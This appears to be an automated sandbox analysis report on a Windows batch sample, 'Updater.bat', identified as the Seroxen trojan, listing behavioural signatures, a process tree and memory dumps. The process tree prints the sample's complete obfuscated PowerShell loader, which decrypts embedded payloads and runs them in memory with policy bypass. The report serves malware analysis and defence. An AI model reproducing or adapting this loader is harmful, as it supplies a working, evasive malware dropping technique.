Analysis
- user interaction
yes - max time kernel
31s - max time network
35s - platform
windows10-ltsc_2021_x64 - resource
win10ltsc2021-20260911-en - resource tags
- submitted
30/09/2026, 22:07
General
- Target Updater.bat
- Size 12.5MB
- Sample260930-1153razvas
- SHA256 cfaf667ce51d4987e70da8627b46c0d213fb7d34a05b905429b4b466ae0a4476
Malware Config
Signatures
- Family: Seroxen, Ser0xen
Seroxen or SeroXen aka Ser0Xen is a trojan fist disovered in late 2022.
- Suspicious use of NtCreateUserProcessOtherParentProcess 1 TTPs 1 IoCs
- Executes dropped EXE 1 IoCs
- Enumerates connected drives 3 TTPs 1 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- Suspicious use of SetThreadContext 1 IoCs
- Costura .NET executable packer 1 IoCs
Costura packer aka Costura Fody, is an add-in for the .NET framework that embeds all external dependency .dll files as resources inside main executable.
- Drops file in Windows directory 2 IoCs
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
- Modifies registry class 1 IoCs
- Runs net.exe
- Suspicious behavior: EnumeratesProcesses 8 IoCs
- Suspicious use of AdjustPrivilegeToken 3 IoCs
- Suspicious use of WriteProcessMemory 8 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\winlogon.exewinlogon.exe1⤵
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{374251b1-da50-4cbf-b3b4-82327766c81d}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Updater.bat"1⤵
- Drops file in Windows directory
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net.exenet session2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 session3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Updater.bat.exe"Updater.bat.exe" -noprofile -windowstyle hidden -ep bypass -command function RTbDr($edLgl){ $eIRJj=[System.Security.Cryptography.Aes]::Create(); $eIRJj.Mode=[System.Security.Cryptography.CipherMode]::CBC; $eIRJj.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $eIRJj.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Y3dOuELyPQaSONB8FCHBmiZNIAZt3aCPwVHf2qcekfY='); $eIRJj.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('6RtgZcWTkHGMo7KWA8UPQA=='); $OcUGH=$eIRJj.CreateDecryptor(); $return_var=$OcUGH.TransformFinalBlock($edLgl, 0, $edLgl.Length); $OcUGH.Dispose(); $eIRJj.Dispose(); $return_var;}function hxelm($edLgl){ $lAfhQ=New-Object System.IO.MemoryStream(,$edLgl); $ssNIp=New-Object System.IO.MemoryStream; $VXkNy=New-Object System.IO.Compression.GZipStream($lAfhQ, [IO.Compression.CompressionMode]::Decompress); $VXkNy.CopyTo($ssNIp); $VXkNy.Dispose(); $lAfhQ.Dispose(); $ssNIp.Dispose(); $ssNIp.ToArray();}function OmVXE($edLgl,$bbMft){ $XaQZJ=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$edLgl); $djeiX=$XaQZJ.EntryPoint; $djeiX.Invoke($null, $bbMft);}$NUvqa=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Updater.bat').Split([Environment]::NewLine);foreach ($yOKTS in $NUvqa) { if ($yOKTS.StartsWith('SEROXEN')) { $eWsNE=$yOKTS.Substring(7); break; }}$cwWjL=[string[]]$eWsNE.Split('\');$pGGwn=hxelm (RTbDr ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($cwWjL[0])));$TkeuA=hxelm (RTbDr ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($cwWjL[1])));OmVXE $TkeuA (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));OmVXE $pGGwn (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Enumerates connected drives
- Suspicious use of SetThreadContext
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
-
C:\Windows\explorer.exe"C:\Windows\explorer.exe" shell:::{52205fd8-5dfb-447d-801a-d0b52f2e83e1}1⤵
-
C:\Windows\explorer.exeC:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding1⤵
- Modifies registry class
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
Updater.bat.exe
__PSScriptPolicyTest_rfgsggxf.bge.ps1
memory/1956-27-0x0000000140000000-0x0000000140004000-memory.dmp
memory/1956-26-0x0000000140000000-0x0000000140004000-memory.dmp
memory/2488-17-0x00007FF836B30000-0x00007FF836D28000-memory.dmp
memory/2488-18-0x00007FF835090000-0x00007FF83514D000-memory.dmp
memory/2488-13-0x0000016873C00000-0x0000016873C10000-memory.dmp
memory/2488-12-0x0000016873C00000-0x0000016873C10000-memory.dmp
memory/2488-15-0x0000016873C00000-0x0000016873C10000-memory.dmp
memory/2488-16-0x0000016875870000-0x0000016875894000-memory.dmp
memory/2488-3-0x0000016876F20000-0x0000016876F42000-memory.dmp
memory/2488-11-0x0000016873C00000-0x0000016873C10000-memory.dmp
memory/2488-19-0x0000016877A10000-0x0000016878AB0000-memory.dmp
memory/2488-20-0x0000016878AB0000-0x0000016878D9E000-memory.dmp
memory/2488-21-0x0000016878DA0000-0x0000016879038000-memory.dmp
memory/2488-22-0x00000168771D0000-0x0000016877228000-memory.dmp
memory/2488-23-0x00000168758A0000-0x00000168758AC000-memory.dmp
memory/2488-24-0x00007FF836B30000-0x00007FF836D28000-memory.dmp
memory/2488-1-0x0000016873C00000-0x0000016873C10000-memory.dmp
memory/2488-2-0x0000016873C00000-0x0000016873C10000-memory.dmp